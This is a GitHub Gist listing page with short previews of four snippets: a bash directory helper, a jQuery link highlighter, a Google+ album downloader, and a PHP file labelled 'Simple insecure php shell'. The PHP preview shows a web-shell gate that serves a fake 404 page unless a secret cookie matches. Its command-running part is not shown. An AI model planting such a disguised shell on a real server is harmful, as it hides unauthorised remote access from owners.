Skip to content

Instantly share code, notes, and snippets.

@koteq
koteq / cdr.sh
Created August 4, 2013 09:38
Change dir recursively
#!/bin/bash
#
# this script should not be run directly,
# instead you need to source it from your .bashrc,
# by adding this line:
# . ~/bin/cdr.sh
#
function cdr() {
replacement=$1
array=(${PWD//\// })
@koteq
koteq / shell.php
Last active December 16, 2015 01:19
Simple insecure php shell
<?php
$access_token = "";
if (empty($_COOKIE["access_token"]) || $_COOKIE["access_token"] !== $access_token) {
header('HTTP/1.0 404 Not Found');
echo "<h1>404 Not Found</h1>";
echo "The page that you have requested could not be found.";
die();
} else {
header('Connection: close');
header('X-Accel-Buffering: no');
@koteq
koteq / strike_out.js
Created November 27, 2012 09:01
Strike out dummy links
$(window).load(function(){
var live_selectors = [];
$($._data(document, 'events').click).each(function(){
live_selectors.push(this.selector);
});
$('a[href=""], a[href^="#"]').each(function(){
var link = this;
if (this.onclick === null &&
@koteq
koteq / album_fetcher.py
Created December 10, 2011 18:34 — forked from Apkawa/album_fetcher.py
Fetch google+ album
# -*- coding: utf-8 -*-
"""
Usage:
python album_fetcher.py https://plus.google.com/photos/118353143366443526186/albums/5626152497309725217
python album_fetcher.py https://plus.google.com/118353143366443526186
python album_fetcher.py https://plus.google.com/118353143366443526186 youremail@gmail.com yourpassword
python album_fetcher.py https://plus.google.com/118353143366443526186 youremail@gmail.com yourpassword /out_dir/
TODO: use opt parse
"""
import os